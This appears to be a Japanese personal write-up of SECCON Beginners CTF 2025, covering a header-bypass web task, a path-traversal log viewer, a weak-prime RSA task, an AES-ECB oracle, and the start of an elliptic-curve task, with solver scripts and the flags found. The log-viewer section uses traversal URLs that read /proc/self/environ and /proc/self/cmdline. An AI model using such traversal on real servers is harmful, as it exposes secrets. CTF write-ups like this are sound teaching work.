SECCON Beginners CTF 2025 Writeup

Jul 27, 2025

2025/7/26 14:00(JST) - 2025/7/27 14:00(JST)で開催された SECCON Beginners CTF 2025 に参加した.

個人で参加し,結果は,1272 点で 880 チーム中 338 位だった.

https://www.seccon.jp/14/seccon_beginners/ctf.html

web

skipping [737 Solve (100 beginner)]

/flagへのアクセスは拒否されます。curlなどを用いて工夫してアクセスして下さい。
curl http://skipping.challenges.beginners.seccon.jp:33455

ソースコードより,x-ctf4b-request ヘッダが ctf4b であることが必要.

index.js
var express = require("express");
var app = express();

const FLAG = process.env.FLAG;
const PORT = process.env.PORT;

app.get("/", (req, res, next) => {
    return res.send('FLAG をどうぞ: <a href="/flag">/flag</a>');
});

const check = (req, res, next) => {
    if (!req.headers['x-ctf4b-request'] || req.headers['x-ctf4b-request'] !== 'ctf4b') {
        return res.status(403).send('403 Forbidden');
    }

    next();
}

app.get("/flag", check, (req, res, next) => {
    return res.send(FLAG);
})

app.listen(PORT, () => {
    console.log(`Server is running on port ${PORT}`);
});

ヘッダを指定して,curlで実行するとflagが得られる.

$ curl -H "x-ctf4b-request: ctf4b" http://skipping.challenges.beginners.seccon.jp:33455/flag
ctf4b{y0ur_5k1pp1n6_15_v3ry_n1c3}

log-viewer [621 Solve (100 easy)]

ログをウェブブラウザで表示できるアプリケーションを作成しました。 これで定期的に集約してきているログを簡単に確認できます。 秘密の情報も安全にアプリに渡せているはずです…
http://log-viewer.challenges.beginners.seccon.jp:9999

ログを表示するウェブアプリ.

access.logdebug.log が見られる.

logs/access.log
192.168.65.1 - - [21/June/2025:10:41:56 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:41:56 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:41:58 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:41:58 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:12:42:13 +0900] "GET /?file=access.log HTTP/1.1" 200 1228 "http://localhost:8000/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:12:42:15 +0900] "GET /?file=access.log HTTP/1.1" 200 1228 "http://localhost:8000/" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.5.59 (like Safari/604.1)"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.5.59 (like Safari/604.1)"
192.168.65.1 - - [21/June/2025:10:42:21 +0900] "GET /?file=debug.log HTTP/1.1" 200 1368 "http://localhost:8000/?file=access.log" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:42:24 +0900] "GET /?file=../.env HTTP/1.1" 404 690 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:42:53 +0900] "GET /?file=../../proc/self/environ HTTP/1.1" 200 770 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:43:58 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:43:59 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:45:13 +0900] "GET /?file=access.log HTTP/1.1" 200 1228 "http://localhost:8000/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:47:01 +0900] "GET /?file=debug.log HTTP/1.1" 200 1368 "http://localhost:8000/?file=access.log" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
logs/debug.log
2025/06/21 10:40:02 INFO Initializing LogViewer... pid=17565
2025/06/21 10:40:02 DEBUG Parsed command line arguments flag=ctf4b{this_is_dummy_flag} port=8000
2025/06/21 10:41:56 INFO handlerFunc file=""
2025/06/21 10:41:58 INFO handlerFunc file=""
2025/06/21 10:42:13 INFO handlerFunc file="access.log"
2025/06/21 10:42:15 INFO handlerFunc file="access.log"
2025/06/21 10:42:17 INFO handlerFunc file=""
2025/06/21 10:42:17 INFO handlerFunc file=""
2025/06/21 10:42:21 INFO handlerFunc file="debug.log"
2025/06/21 10:42:24 INFO handlerFunc file="../.env"
2025/06/21 12:42:24 ERROR File not available file=../.env
2025/06/21 12:43:53 INFO handlerFunc file="../../proc/self/envion"
2025/06/21 10:43:59 INFO handlerFunc file=""
2025/06/21 12:45:13 INFO handlerFunc file="access.log"
2025/06/21 12:47:01 INFO handlerFunc file="debug.log"

access.logdebug.log はそれぞれ, http://log-viewer.challenges.beginners.seccon.jp:9999/?file=access.loghttp://log-viewer.challenges.beginners.seccon.jp:9999/?file=debug.log というURLである.

試しに,http://log-viewer.challenges.beginners.seccon.jp:9999/?file=../../proc/self/environ にアクセスすると, /proc/self/environ ファイル内容が出力され,ディレクトリトラバーサルの脆弱性があることがわかる.

debug.log より,コマンドラインにflagがありそうなので, http://log-viewer.challenges.beginners.seccon.jp:9999/?file=../../proc/self/cmdline にアクセスすると, flagが得られた.

/proc/self/cmdline
/usr/local/bin/log-viewer-port=9999-flag=ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}

crypto

seesaw [612 Solve (100 beginner)]

RSA初心者です! pとqはこれでいいよね…?

ソースコードを見ると,q が16bitの値となっているので,全探索できる.

import os
from Crypto.Util.number import getPrime

FLAG = os.getenv("FLAG", "ctf4b{dummy_flag}").encode()
m = int.from_bytes(FLAG, 'big')

p = getPrime(512)   
q = getPrime(16)
n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")
n = 362433315617467211669633373003829486226172411166482563442958886158019905839570405964630640284863309204026062750823707471292828663974783556794504696138513859209
c = 104442881094680864129296583260490252400922571545171796349604339308085282733910615781378379107333719109188819881987696111496081779901973854697078360545565962079

以下を実行するとflagが得られる.

solver.py
from Crypto.Util.number import long_to_bytes
n = 362433315617467211669633373003829486226172411166482563442958886158019905839570405964630640284863309204026062750823707471292828663974783556794504696138513859209
c = 104442881094680864129296583260490252400922571545171796349604339308085282733910615781378379107333719109188819881987696111496081779901973854697078360545565962079

for p in range(2, 65536):
    if n % p == 0:
        q = n // p
        print(f"p = {p}")
        print(f"q = {q}")
        break

e = 65537
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m) # or m.to_bytes((m.bit_length() + 7) // 8, byteorder='big')
print(flag.decode())

# p = 33091
# q = 10952625052656831515204538182703136388328319215692561827776703217129125920630092954719731657697359076607720006975422546048557875675403691541340687683615299
# ctf4b{unb4l4nc3d_pr1m35_4r3_b4d}

01-Translator [280 Solve (100 easy)]

バイナリ列は読めない?じゃあ翻訳してあげるよ!
nc 01-translator.challenges.beginners.seccon.jp 9999

flagを2進数に変換し,01 を指定した文字列に置き換え,AESのECBモードで暗号化される.

import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import bytes_to_long


def encrypt(plaintext, key):
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.encrypt(pad(plaintext.encode(), 16))

flag = os.environ.get("FLAG", "CTF{dummy_flag}")
flag_bin = f"{bytes_to_long(flag.encode()):b}"
trans_0 = input("translations for 0> ")
trans_1 = input("translations for 1> ")
flag_translated = flag_bin.translate(str.maketrans({"0": trans_0, "1": trans_1}))
key = os.urandom(16)
print("ct:", encrypt(flag_translated, key).hex())

ECBモードなので,01 を16byteの文字列に置き換えればよい.

$ nc 01-translator.challenges.beginners.seccon.jp 9999
translations for 0> AAAAAAAAAAAAAAAA
translations for 1> BBBBBBBBBBBBBBBB
ct: d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf940faf1db97dff48482511b710f8dfa038

16進の16byte分である d2dd0b85dca8a6e1b43485b29c3caf941 に, e9d754817e22ae903894db279d383a700 にして復号.

solver.py
from Crypto.Util.number import long_to_bytes

input = "d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94d2dd0b85dca8a6e1b43485b29c3caf94e9d754817e22ae903894db279d383a70d2dd0b85dca8a6e1b43485b29c3caf940faf1db97dff48482511b710f8dfa038"
pattern = {
    "d2dd0b85dca8a6e1b43485b29c3caf94": "1",
    "e9d754817e22ae903894db279d383a70": "0"
}
blocks = [input[i:i+32] for i in range(0, len(input), 32)]
result = []
for block in blocks:
    label = pattern.get(block, "")  # 不明なパターン(最後のパディング分)は "" とする
    result.append(label)

flag_bin = ''.join(result)
flag = long_to_bytes(int(flag_bin, 2)).decode()

print(flag_bin)
print(flag)
# 1100011011101000110011000110100011000100111101101101110001100000111011101011111011110010011000001110101001001110111001000110011010111110011010001011111011000100011000101101110001101000111001000110001001100110110111001111101
# ctf4b{n0w_y0u'r3_4_b1n4r13n}

Elliptic4b [171 Solve (272 medium)]

楕円曲線だからってそっ閉じしないで!
nc elliptic4b.challenges.beginners.seccon.jp 9999

楕円曲線 secp256k1 は $y^2=x^3+7$ である.

この問題では,与えられた $y$ に対する $x$ を求め,$P=(x, y)$ に対して,$aP=(x, -y)$ となる $a\geq0$ を求めればよい. すなわち,最終的には $P$ の逆元 $-P=(x, -y)$ を求めればよい.これは,位数$n$ に対して $a=n-1$ とすれば求まる.

import os
import secrets
from fastecdsa.curve import secp256k1
from fastecdsa.point import Point

flag = os.environ.get("FLAG", "CTF{dummy_flag}")
y = secrets.randbelow(secp256k1.p)
print(f"{y = }")
x = int(input("x = "))
if not secp256k1.is_point_on_curve((x, y)):
    print("// Not on curve!")
    exit(1)
a = int(input("a = "))
